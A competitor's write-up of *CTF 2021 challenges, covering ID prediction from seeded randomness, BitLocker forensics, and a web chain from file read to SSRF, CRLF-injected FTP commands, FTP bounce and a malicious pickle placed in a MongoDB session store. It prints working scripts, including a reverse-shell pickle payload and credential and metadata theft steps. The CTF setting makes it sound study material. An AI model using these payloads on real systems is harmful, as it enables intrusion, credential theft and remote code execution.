*CTF (StarCTF) 2021 Writeups

*CTF (StarCTF) 2021

Happy New Year, everyone! For the first CTF of the year, my team (Crusaders of Rust) played in *CTF 2021, and it the challenges were very interesting but also very difficult. My teammates were amazing, and together we made some amazing progress. We ended up placing 31st in the competition, which I’m very happy about (considering that we still don’t have anyone on rev :P).

Well, onto the writeups.

Contents

oh-my-note

(web, 175 points, 95 solves)

oh my note was the easiest web challenge by far. I solved this challenge pretty quickly, and ended up getting 2nd blood.

The website took you to “*CTFNote”, a sort of pastebin where you could register and create notes and share them. The home screen had a list of all of the public notes. When creating a note, there was a checkbox to make the note private, so it wouldn’t show up on the home screen. The goal to me was obvious: the admin had a hidden note with the flag.

The URL when viewing a post looked like http://52.163.52.206:5003/view/lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u, so lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u was probably the note id.

We can also look at our own posts by going to http://52.163.52.206:5003/my_notes, so the solution probably is related to listing all of the admin’s posts.

Usually with these challenges, the plan is usually some sort of XSS -> report to admin -> then leak posts. But, there was no XSS vulnerability in making the notes, and there was no way to report the note to admin. That meant that there was probably another way to find the note.

Thankfully, the challenge authors provided the source, so looking through that, we find where the notes are generated. The part of the code which generates the notes looks like this:

@app.route('/create_note', methods=['GET', 'POST'])
def create_note():
    try:
        form = CreateNoteForm()
        if request.method == "POST":
            username = form.username.data
            title = form.title.data
            text = form.body.data
            prv = str(form.private.data)
            user = User.query.filter_by(username=username).first()
 
            if user:
                user_id = user.user_id
            else:
                timestamp = round(time.time(), 4)
                random.seed(timestamp)
                user_id = get_random_id()
                user = User(username=username, user_id=user_id)
                db.session.add(user)
                db.session.commit()
                session['username'] = username
 
            timestamp = round(time.time(), 4)
 
            post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
 
            random.seed(user_id + post_at)
            note_id = get_random_id()
 
            note = Note(user_id=user_id, note_id=note_id,
                        title=title, text=text,
                        prv=prv, post_at=post_at)
            db.session.add(note)
            db.session.commit()
            return redirect(url_for('index'))
 
        else:
            return render_template("create.html", form=form)
    except Exception as e:
        pass

At the /create_post endpoint, we can see that we supply the username for the post. If that username doesn’t exist, we become that user. Unfortunately, we can’t use this to become admin, since they already exist in the database.

But, looking at the note_id, we can see that it is generated by the get_random_id() function, and seeded using the current time and the user’s id. The get_random_id() function is shown below:

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

But unfortunately, this doesn’t help us find hidden posts. Looking through the code even more, we find the hidden argument to the /my_notes endpoint:

@app.route('/my_notes')
def my_notes():
    if session.get('username'):
        username = session['username']
        user_id = User.query.filter_by(username=username).first().user_id
    else:
        user_id = request.args.get('user_id')
        if not user_id:
            return redirect(url_for('index'))

    results = Note.query.filter_by(user_id=user_id).limit(100).all()
    notes = []
    for x in results:
        note = {}
        note['title'] = x.title
        note['note_id'] = x.note_id
        notes.append(note)

    return render_template("my_notes.html", notes=notes)

From this, we can see that if we supply our own user_id as an argument, we can view all of their notes, hidden or not. So, if we can generate the admin’s user_id, we can view all of their posts and get the flag. Well, is there a way to generate the admin’s user_id?

Well, the user_id is also created using the same method as note_id, but only seeded with the timestamp. And, with their user_id, we can generate the post_id. And thankfully, each post comes with it’s timestamp.

If we can find the admin’s first post which created their account, and take the timestamp, we can go through all of the possible seconds and milliseconds until we find the exact one which generates their post_id, and from there we will have their user_id. My exploit code is below:

import datetime
import random
import string

def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

target_id   = "lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u"
target_time = "2021-01-15 02:29 UTC"

start   = datetime.datetime.strptime(target_time, '%Y-%m-%d %H:%M UTC').timestamp()
end     = start + 60

while start <= end:
    timestamp = round(start, 4)
    random.seed(timestamp)
    user_id = get_random_id()

    random.seed(user_id + target_time)

    post_id = get_random_id()
    if post_id == target_id:
        print("DINGDINGDING")
        print(timestamp, post_id, user_id, target_id)
        print(timestamp, post_id, user_id, target_id)
        print(timestamp, post_id, user_id, target_id)
        print(timestamp, post_id, user_id, target_id)
        break

    start += 0.0001

My code takes the admin’s first post and their timestamp, then loops through all possible ms. It generates the intermediate user_id, then generates the post_id with that intermediate id. If the post_id matches, we know we have the correct timestamp and user_id. Running this code, we get the output:

DINGDINGDING
1610677742.5549 lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u 7bdeij4oiafjdypqyrl2znwk7w9lulgn lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u
1610677742.5549 lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u 7bdeij4oiafjdypqyrl2znwk7w9lulgn lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u
1610677742.5549 lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u 7bdeij4oiafjdypqyrl2znwk7w9lulgn lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u
1610677742.5549 lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u 7bdeij4oiafjdypqyrl2znwk7w9lulgn lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u

So, the admin’s user_id is 7bdeij4oiafjdypqyrl2znwk7w9lulgn. Navigating to the page http://52.163.52.206:5003/my_notes?user_id=7bdeij4oiafjdypqyrl2znwk7w9lulgn, we find a hidden post with the flag. Second blood!

*ctf{Y0u_Are_t3e_Master_of_3he_Time!}

little tricks

(misc, 246 points, 62 solves) little tricks was a misc challenge that was very forensics-like and guessy. My brain was exploding from doing oh-my-bet (the other web challenge), so I took a break (at 3 AM) and did this challenge. little tricks just came with a download link to a 132MB file called ll2. I had no idea what it could be, so I ran file ll2 and got:

[email protected]:~/CTFs/starctf2021/littletricks$ file ll2
ll2: Microsoft Disk Image eXtended, by Microsoft Windows 10.0.18363.0, sequence 0x14, NO Log Signature; region, 2 entries, id BAT, at 0x300000, Required 1, id Metadata, at 0x200000, Required 1

So it was a Microsoft disk image. The first bytes of the file were “76 68 64 78 66 69 6c 65”, which corresponded to a file with the vhdxfile extension from this page. Since it was Windows, I renamed it to ll2.vhdxfile and tried to open it on my computer.

Damn, so it was an encrypted Bitlocker drive. Well, after some research, I found this script, which when I ran on the disk image, extracted the password hashes.

I then ran John the Ripper (jumbo edition) on the Bitlocker hashes, and it quickly came up with the password.

Well, with the password “12345678” found, I opened the disk image and found:

A password.txt file which just held the text “12345678”. Damn. Well, that couldn’t have been the only thing in the disk image since it was 132MB. So, I loaded up Autopsy, a really amazing forensics tool that is a GUI version of the sleuth kit. I quickly found a PDF in the deleted files:

I was only able to find this PDF in Autopsy, so I decided to look at it closer. I tried some random PDF stego websites then went to try and extract the images from the PDF. I found this website, and extracted the images. Opening the zip, I found the flag as two of the images.

*ctf{59ca21b54198345f0efa963195e}

oh-my-bet

(web, 740 points, 8 solves)

oh my bet was by far the hardest web challenge in the CTF. I ended up getting 3rd blood on this challenge. There was no source provided, so we have to do this blind.

Navigating to the website, you register with a username and password. You can also select an avatar out of the list of six. Once you login, there are two pages. The first page (/shake_and_dice) will randomly roll a dice. The second page (/flag_points_29_points) randomly generates numbers.

There was also a cookie named session, which held a UUID which looked something like “5f2ef736-f86e-47fd-9198-2943c8c42410”.

That was it. It didn’t seem like the second page actually would give the flag, and it really seemed the website had no functionality at all. So, I went to look at the source code of the HTML. In the login page, I immediately found something weird - the avatar field had you select PNGs directly.

So, when you select “One” for the image, it actually sends “1.png” over to the server. When you make your account, your avatar is shown at the top bar as a base64 image (not directly linked)! So, the website might actually open any file that you send, and encode it as base64 to become an image.

Replacing the “1.png” with “../../../../../etc/passwd” and sending it over, the avatar becomes an unviewable image. Opening the image directly, we see the base64 that it tries to read is not a valid image. Decoding the base64, we see:

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
nut:x:84:84:nut:/var/state/nut:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
app:x:100:101:Linux User,,,:/home/app:/bin/false

LFI found. At this point, I thought I was somewhat close to the flag. I was so naive. I quickly whipped up a script to make it easier for me to extract files from the server.

import requests
import random
import string
import base64
import re

target = "/etc/passwd"

def randstr():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

r = requests.post("http://23.98.68.11:8088/login", data={"username": randstr(), "password": "12345", "avatar": "../../../../.." + target, "submit": "Go!"})
resp = r.text

pattern = r'"data:image/png;base64,(.*?)"'
b64 = re.search(pattern, resp).group(1)

print(base64.b64decode(b64).decode())

With this script, it was fairly simple to download files from the webserver. So, I first wanted to download the script running the website. I immediately made a request to /proc/self/cmdline and /proc/self/environ.

/proc/self/environ:
HOSTNAME=3bc5e11b1b0cSHLVL=1PYTHON_PIP_VERSION=9.0.1HOME=/home/appGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.6.0PWD=/app

/proc/self/cmdline
/usr/local/bin/python3.6/usr/local/bin/gunicorn-b0.0.0.0:5000-w6--threads6--log-leveldebugapp:app

From the data extracted, we can tell that it is a python app running at /app/app.py. Extracting that file, we get the source code of the website!

import logging
from flask import Flask, session, request, render_template, url_for, redirect
from flask_session import Session
from config import Config
from forms import LoginForm
from exts import db, redis_client
from models import User
from utils import mark_data, get_data, login_required, get_avatar, random_dice, random_card, md5
 
app = Flask(__name__)
app.config.from_object(Config())
 
Session(app)
 
db.init_app(app)
redis_client.init_app(app)
 
 
@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if session.get('username'):
        return redirect(url_for('shake_and_dice'))
    if request.method == 'GET':
        return render_template('login.html', form=form)
    else:
        username = form.username.data
        password = form.password.data
        password_md5 = md5(password)
        avatar = form.avatar.data
 
        user = User.query.filter_by(username=username).first()
 
        if user:
 
            if password_md5 != user.password:
                return render_template('login.html', form=form, message='Sorry, username or password ERROR!')
            else:
                session['username'] = username
                return redirect(url_for('shake_and_dice'))
        else:
            user = User(username=username, password=password_md5, avatar=avatar)
            db.session.add(user)
            db.session.commit()
            session['username'] = username
 
        data = get_avatar(username)
        mark_data(username, data)
 
        return redirect(url_for('shake_and_dice'))
 
 
@app.route('/shake_and_dice')
@login_required
def shake_and_dice():
    dice1 = random_dice()
    dice2 = random_dice()
    dice3 = random_dice()
    content = get_data(session['username'])
    return render_template('shake_and_dice.html', username=session['username'], avatar=content,
                           dice1=dice1, dice2=dice2, dice3=dice3)
 
 
@app.route('/flag_points_29_points')
@login_required
def flag_points_29_points():
    card1 = random_card()
    card2 = random_card()
    card3 = random_card()
    content = get_data(session['username'])
    return render_template('flag_points_29_points.html', username=session['username'], avatar=content,
                           card1=card1, card2=card2, card3=card3)
 
 
@app.route('/logout')
@login_required
def logout():
    session.pop('username')
    return redirect(url_for('login'))
 
@app.route('/')
def index():
    return redirect(url_for('login'))
 
 
if __name__ == '__main__':
    app.run()

Well, I immediately noticed a problem. There actually is no flag functionality on the website. The website literally has no functionality at all. So, that left me to assume we have to somehow escalate from LFI to RCE, which (in my experience) can be quite hard when not running PHP.

The app imported other Python modules as well, so I downloaded the rest. The most important one was /app/config.py, and when I saw it, I knew I was in for a rough challenge.

import pymongo
from ftplib import FTP
import json
 
class Config(object):
 
    def ftp_login(self):
        ftp = FTP()
        ftp.connect("172.20.0.2", 8877)
        ftp.login("fan", "root")
        return ftp
 
    def callback(self,*args, **kwargs):
        data = json.loads(args[0].decode())
        self.data = data
 
    def get_config(self):
        f = self.ftp_login()
        f.cwd("files")
        buf_size = 1024
        f.retrbinary('RETR {}'.format('config.json'), self.callback, buf_size)
 
    def __init__(self):
        self.get_config()
        data = self.data
 
        self.secret_key = data['secret_key']
        self.SECRET_KEY = data['secret_key']
        self.DEBUG = data['DEBUG']
        self.SESSION_TYPE = data['SESSION_TYPE']
        remote_mongo_ip = data['REMOTE_MONGO_IP']
        remote_mongo_port = data['REMOTE_MONGO_PORT']
        self.SESSION_MONGODB = pymongo.MongoClient(remote_mongo_ip, remote_mongo_port)
        self.SESSION_MONGODB_DB = data['SESSION_MONGODB_DB']
        self.SESSION_MONGODB_COLLECT = data['SESSION_MONGODB_COLLECT']
        self.SESSION_PERMANENT = data['SESSION_PERMANENT']
        self.SESSION_USE_SIGNER = data['SESSION_USE_SIGNER']
        self.SESSION_KEY_PREFIX = data['SESSION_KEY_PREFIX']
 
        self.SQLALCHEMY_DATABASE_URI = data['SQLALCHEMY_DATABASE_URI']
        self.SQLALCHEMY_TRACK_MODIFICATIONS = data['SQLALCHEMY_TRACK_MODIFICATIONS']
 
        self.REDIS_URL = data['REDIS_URL']

Oh boy. I am of the firm belief that no CTF author would put extra time in their challenge to add weird features, so the fact that I was seeing FTP meant that it was probably a core part of the challenge.

Another important file was /app/utils.py, and here is the source:

import os
import time
import re
import base64
import random
import hashlib
import urllib.request
from exts import redis_client
from functools import wraps
from flask import session, redirect, url_for
from models import User
 
 
def mark_data(id, data):
    expires = int(time.time()) + 240
    p = redis_client.pipeline()
    p.set(id, data)
    p.expireat(id, expires)
    p.execute()
 
 
def get_data(id):
    data = redis_client.get(id)
    if not data:
        data = get_avatar(id)
        mark_data(id, data)
    return data.decode()
 
 
def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kws):
            if not session.get("username"):
               return redirect(url_for('login'))
            return f(*args, **kws)
    return decorated_function
 
 
def get_avatar(username):
 
    dirpath = os.path.dirname(__file__)
    user = User.query.filter_by(username=username).first()
 
    avatar = user.avatar
    if re.match('.+:.+', avatar):
        path = avatar
    else:
        path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
    try:
        content = base64.b64encode(urllib.request.urlopen(path).read())
    except Exception as e:
        error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
        content = base64.b64encode(urllib.request.urlopen(error_path).read())
        print(e)
 
    return content
 
 
def random_dice():
    dices = ['1.gif', '2.gif', '3.gif', '4.gif', '5.gif', '6.gif', 'surprise1.gif', 'surprise2.gif']
    return random.choice(dices)
 
 
def random_card():
    color = ['♠️️', '❤️ ', '️️🔷', '♣️', '🚩']
    return "%-5s" % random.choice(color) + ' ' + "%-3s" % str(random.randint(1, 15))
 
 
def md5(data):
    m = hashlib.md5(data.encode())
    return m.hexdigest()

Here, we finally see the function that gives us LFI, get_avatar.

def get_avatar(username):

    dirpath = os.path.dirname(__file__)
    user = User.query.filter_by(username=username).first()

    avatar = user.avatar
    if re.match('.+:.+', avatar):
        path = avatar
    else:
        path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
    try:
        content = base64.b64encode(urllib.request.urlopen(path).read())
    except Exception as e:
        error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
        content = base64.b64encode(urllib.request.urlopen(error_path).read())
        print(e)

    return content

From the code, we can see that if the file matches the regex (which pretty much checks for a scheme like https:// or http://), it is piped directly into urllib.request.urlopen. If it doesn’t have a scheme, it creates a path based on the current directory. This upgrades our LFI to SSRF, as we can now request websites from the server directly. Well, I knew that urllib.request also supports the file:// and ftp:// urls, so we can use those to exfiltrate more data.

I knew that the FTP server existed, so I made a request to ftp://fan:[email protected]:8877, and got the following files:

-rw-r--r--   1 root     root         6148 Jan 13 14:11 .DS_Store
drwxr-xr-x   2 root     root         4096 Jan 13 14:16 files
-rw-r--r--   1 root     root          464 Jan 08 13:10 ftp-server.py

I downloaded ftp-server.py, and got the source code for the FTP server.

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer


authorizer = DummyAuthorizer()

authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")

handler = FTPHandler
handler.permit_foreign_addresses = True
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer

server = FTPServer(("172.20.0.2", 8877), handler)
server.serve_forever()

There was also the files folder, so I requested that folder and found a config.json file. Here’s config.json:

{
  "secret_key":"f4545478ee86$%^&&%$#",
  "DEBUG": false,
  "SESSION_TYPE": "mongodb",
  "REMOTE_MONGO_IP": "172.20.0.5",
  "REMOTE_MONGO_PORT": 27017,
  "SESSION_MONGODB_DB": "admin",
  "SESSION_MONGODB_COLLECT": "sessions",
  "SESSION_PERMANENT": true,
  "SESSION_USE_SIGNER": false,
  "SESSION_KEY_PREFIX": "session:",
  "SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:[email protected]:3306/ctf?charset=utf8",
  "SQLALCHEMY_TRACK_MODIFICATIONS": true,
  "REDIS_URL": "redis://@172.20.0.4:6379/0"
}

This challenge was insane. To me, there seemed like too many different paths - the website had MongoDB, MySQL, Redis, and FTP, and I had no idea what to do. In the back of my mind, I also knew there was a CRLF vulnerability. From previous experience, I knew that old versions of Python (ending at 3.6) had a CRLF injection in urllib.request. CRLF injection allows you to inject \r\n characters where they aren’t expected, which can let you embed headers in URLs, split HTTP responses, and many more attacks.

For example, after doing some more recon, I realized that this was running on Microsoft Azure. Requesting /etc/resolv.conf, I see:

search edmdnc3elcbeve41mkjbyzwbnd.ix.internal.cloudapp.net
nameserver 127.0.0.11
options edns0 trust-ad ndots:0

Doing some research on the cloudapp.net domain, I can tell that it is running Azure. SSRF on certain platforms can be dangerous, as you might be able to escalate through abusing certain features of the cloud platform. For example, in one of the Balsn CTF challenges this year, tpc, you had to abuse urllib.request.urlopen on Python 3.6 (this exact setup), to make requests to the GCP’s metadata server and download the container.

Well, I looked into this attack for Azure, and I found the existence of an endpoint named http://169.254.169.254/metadata/instance?api-version=2020-09-01 that would let you download Azure metadata! But, you need to provide a custom header, Metadata: true, to get this information. This is meant to secure the endpoint from SSRF vulnerabilities.

But, since we have CRLF, we can directly inject this header into our URL. Modifying the code from tpc writeups, I can get the Azure metadata! Here’s the script I used:

endpoint = "http://169.254.169.254/metadata/instance?api-version=2020-09-01"
headers = {
    "Metadata": "true"
}

target = endpoint + "&a=1 HTTP/1.1\r\n"
for h in headers.keys():
    target += h + ": " +headers[h] + "\r\n"
target += "buffer: yep"

Well, after downloading the metadata, I saw nothing of use. And it was at this point I started going down a bunch of different rabbit holes. Eventually, the author released the first hint, which hinted at the existence of a /readflag binary. I downloaded the binary and decompiled it with Ghidra.

So, there was a file named /flag_728246ee4be43072f63a6d4bb5ddb6b0c705e8e6, and /readflag would open this and print it out to screen. I tried to download the flag file directly, but no luck. They also said that abusing the Redis database wasn’t part of the challenge, which threw me for a loop. They later released a hint saying that it was Python 3.6, which I already knew. So, this reinforced the idea that we need to somehow abuse SSRF with CRLF to gain RCE.

Eventually, I had the idea of using the CRLF to directly interact with the FTP server. I tried to use the script above, and modify it to work with FTP, but no dice. Eventually, one of my teammates linked a writeup that seemed to match this challenge pretty well.

The challenge was Contrived Web from PlaidCTF 2020, where you use CRLF to inject FTP commands, then use the PORT command to SSRF data directly to the RabbitMQ email queue and directly send the flag. At this point, I immediately remembered an attack with FTP called FTP Bounce. FTP bounce abuses the PORT command in FTP to send data to other services in the same machine.

Unfortunately, this attack is usually blocked in most FTP libraries. Fortunately for us, the handler.permit_foreign_addresses = True line in ftp-server.py directly disables this protection.

So, now I have a game plan. Target one of the services (MongoDB or MySQL), send a malicious packet through FTP Bounce, and gain RCE. But first, we need to run FTP commands. I try to work on my own script to inject FTP commands through CRLF, and after a lot of trial and error, I eventually am able to run FTP commands!

import urllib.parse
import requests
import string
import random
import re

ftp_cmds = [
    "USER fan",
    "PASS root",
    'STOR sadge',
    'LIST',
    'LIST'
]
ftp_host = "172.20.0.2:8877"
target = 'ftp://fan\r\n{}:[email protected]'.format('\r\n'.join(ftp_cmds)) + ftp_host

print(target)

def randstr():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

s1 = "52.163.52.206:8088"
s2 = "23.98.68.11:8088"
r = requests.post(f"http://{s2}/login", data={"username": randstr(), "password": "12345", "avatar": target, "submit": "Go!"})

After running this script, I see a new file named sadge in the FTP server! Unfortunately, at this moment I had no way to get output. At the same time, I also see other people uploading files into FTP.

But, their files actually had data inside, while I could only create blank files. So, the next step was to create my own file upload script. To do this, I reused a previous TCP proxy script I made (for a game called Pwn Adventure 3) and proxied my connection to an FTP server to observe how to upload.

You can see my proxy script here, if you want.

When sending a file named test.txt, I saw this output:

localproxy [b'TYPE I\r\n']
remoteproxy [b'200 Type set to: Binary.\r\n']
localproxy [b'TYPE I\r\n']
remoteproxy [b'200 Type set to: Binary.\r\n']
localproxy [b'PASV\r\n']
remoteproxy [b'227 Entering passive mode (123,456,789,123,7,214).\r\n']
localproxy [b'STOR test.txt\r\n']
remoteproxy [b'150 File status okay. About to open data connection.\r\n']
remoteproxy [b'226 Transfer complete.\r\n']
localproxy [b'MFMT 20210117010316 test.txt\r\n']
remoteproxy [b'213 Modify=20210117010316; /test.txt.\r\n']
localproxy [b'TYPE A\r\n']
remoteproxy [b'200 Type set to: ASCII.\r\n']
localproxy [b'PASV\r\n']
remoteproxy [b'227 Entering passive mode (123,456,789,123,7,225).\r\n']
localproxy [b'MLSD\r\n']
remoteproxy [b'150 File status okay. About to open data connection.\r\n']
remoteproxy [b'226 Transfer complete.\r\n']

So, first, the client sets the transfer type to binary, then runs the PASV command. The server responds with the IP and port (123,456,789,123,7,214) [123,456,789,123 -> 123.456.789.123 and 7,214 encodes the port]. The client then connects to the server and port, and sends the data over.

But, this immediately was a problem - we don’t have direct access to the FTP server. The most common way clients transfer files to FTP servers is through what is called passive mode. In this mode, the FTP server sends an IP and port to the client for them to send files to. But, since we can’t access the server, we can’t use passive mode.

Thankfully, there is another (less used) mode called active mode. In this method, we send our own IP and port to the FTP server, and then the server connects to us, and we send a file when they connect. This is used less since you need a direct IP, so it wouldn’t work for most people since they would be behind a router.

Around 30 minutes later, I had a working file upload script.

import urllib.parse
import requests
import string
import random
import socket
import re

upload_name = "hw.txt"
upload_contents = "Hello, world!"
upload_port = 6969
upload_host = "123.456.789.123"
upload = '{},{},{}'.format(upload_host.replace('.', ','), upload_port >> 8, upload_port & 0xff)

ftp_cmds = [
    "USER fan",
    "PASS root",
    'TYPE A', # A = ascii, I = binary
    'PORT ' + upload, # active mode target
    'STOR ' + upload_name, # filename
    'yep',
    'yep',
    'yep'
]

ftp_host = "172.20.0.2:8877"
target = 'ftp://fan\r\n{}:[email protected]'.format('\r\n'.join(ftp_cmds)) + ftp_host

print(target)

def randstr():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", upload_port))
sock.listen(1)

s1 = "52.163.52.206:8088"
s2 = "23.98.68.11:8088"
r = requests.post(f"http://{s2}/login", data={"username": randstr(), "password": "12345", "avatar": target, "submit": "Go!"})

target_conn, addr = sock.accept()
print(addr)
target_conn.sendall(upload_contents.encode())

With this script, I now had working file upload to the FTP server! A couple minutes later, I finished working on my FTP bounce script, which looked similar, but the ftp_cmds were now:

bounce_port = 4200
bounce_host = "123.456.789.123"

ftp_cmds = [
    "USER fan",
    "PASS root",
    "TYPE A",
    'PORT {},{},{}'.format(bounce_host.replace('.', ','), bounce_port >> 8, bounce_port & 0xff),
    'LIST',
    'yep',
    'yep',
    'yep'
]

Sending these commands over would send the output of the LIST command over to the bounce_host and bounce_port. If we change the LIST command to RETR payload, it would send over the payload to our target. So, we can now send a payload to anywhere on the server, including MongoDB and MySQL.

So now, we have to figure out what service to target, and what payload to send. One of my teammates told me about the run command in MongoDB, which lets you run shell commands, so I first ran a TCP proxy between my MongoDB connection, and saved all the data I was sending. I tried to replay those packets to see if it would rerun the command, but it didn’t work.

Later, he found the source code for the flask-session library’s MongoDB driver, specifically this very important section. Python and Flask-Session, when using MongoDB, save the user’s session inside of a python pickle!

Python pickles are notorious attack vectors, as if we can set them arbitrarily, we can get Python to deserialize insecure code, and gain RCE. So, now I have a complete plan of attack. Find the packet I need to send to create a new MongoDB session with a pickle that, when unserialized, sends me a reverse shell.

I first make a RCE pickle:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("123.456.789.123",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'""")
        return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))
    open("exploit.b64", "w").write(base64.urlsafe_b64encode(pickled).decode())

If this is unserialized by Python, it’ll send a reverse shell over to my IP!

After dying for like an hour, I find an article here (that is no longer on the web) on Google’s cache, which sends a packet directly to the MongoDB socket straight using C. Perfect!

I slightly modified their code a bit, and ended up with this:

#include <stdio.h>      // printf

int main () {   
  char op_msg[] = {
    0x5D, 0x00, 0x00, 0x00, // total message size, including this
    0x00, 0x00, 0x00, 0x00, // requestID (can be 0)
    0x00, 0x00, 0x00, 0x00, // responseTo (unused for sending)
    0xDD, 0x07, 0x00, 0x00, // opCode = 2013 = 0x7DD for OP_MSG
    0x00, 0x00, 0x00, 0x00, // message flags (not needed)
    0x00,                   // only data section, type 0
    // begin bson command document
    // {insert: "test_coll", $db: "db", documents: [{_id:1}]}
    0x48, 0x00, 0x00, 0x00, // total bson obj length

    // insert: "test_coll" key/value
    0x02, 'i','n','s','e','r','t','\0',
    0x0A, 0x00, 0x00, 0x00, // "test_coll" length
    't','e','s','t','_','c','o','l','l','\0',

    // $db: "db"
    0x02, '$','d','b','\0',
    0x03, 0x00, 0x00, 0x00,
    'd','b','\0',

    // documents: [{_id:1}]
    0x04, 'd','o','c','u','m','e','n','t','s','\0',
    0x16, 0x00, 0x00, 0x00, // start of {0: {_id: 1}} 
    0x03, '0', '\0', // key "0"
    0x0E, 0x00, 0x00, 0x00, // start of {_id: 1}
    0x10, '_','i','d','\0', 0x01, 0x00, 0x00, 0x00,
    0x00,                   // end of {"id: 1}
    0x00,                   // end of {0: {_id: 1}}
    0x00                    // end of command document,
  };
  FILE* file = fopen("exploit.bin", "wb");
  fwrite(op_msg, 1, sizeof(op_msg), file);
  return 0;
}

Now, this exploit.bin, when sent to localhost:27017, created a new database and document in my local MongoDB server. This code generates a packet following the BSON (binary json) spec, which is what MongoDB uses. So now, we had to figure out the correct BSON to send. I created a simple Python+Flask test app that also used MongoDB as the driver for the sessions, and checked my database.

From here, we see the format of the document. I quickly whip up a BSON document that would insert a malicious session into this collection. Something similar to:

{insert: "sessions", $db: "admin", documents: [{id: "session:ee124d06-0a63-40dc-bdbd-26d8350f4939", timestamp: 99999999999, val: pickle}]}

, if encoded correctly and sent, would match this format perfectly. So, now I had to figure out how to encode our BSON data correctly. I didn’t want to read the BSON spec by hand, so I ended up using NodeJS’s BSON library to make the work much easier. Figuring out exactly how to embed this with the correct opcode and length took a bit of work, as I rarely use NodeJS buffers.

But eventually, I got the following script made:

const BSON = require('bson');
const fs = require('fs');

// Serialize a document
const doc = {insert: "sessions", $db: "admin", documents: [{
    "id": "session:e51fca6f-1148-450c-8961-b5d1aaaaaaaa",
    "val": Buffer.from(fs.readFileSync("exploit.b64").toString(), "base64"),
    "expiration": new Date("2025-02-17")
}]};
const data = BSON.serialize(doc);

let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");
let full = Buffer.concat([beginning, data]);

full.writeUInt32LE(full.length, 0);
fs.writeFileSync("bson.bin", full);

This code creates a BSON document with the correct id (a uuid that is currently being unused), our pickled base64, and an expiration date. It then concats this document with the packet data from the beginning of the C program. Then, it fixes the length of the packet by writing an unsigned 32 integer in little endian in the first spot. This is saved as bson.bin.

Testing it locally, I do cat bson.bin | nc localhost 27017. This sends the data directly to MongoDB’s port. After checking my MongoDB database, I see the new document.

Finally, we have everything we need. I set up my FTP bounce script to target 172.20.0.5:27017 (the local MongoDB server). I then use my FTP upload script to upload this bson.bin packet, run the bounce script a couple of times, then replace the uploaded data with some junk (so no one could steal our code :P).

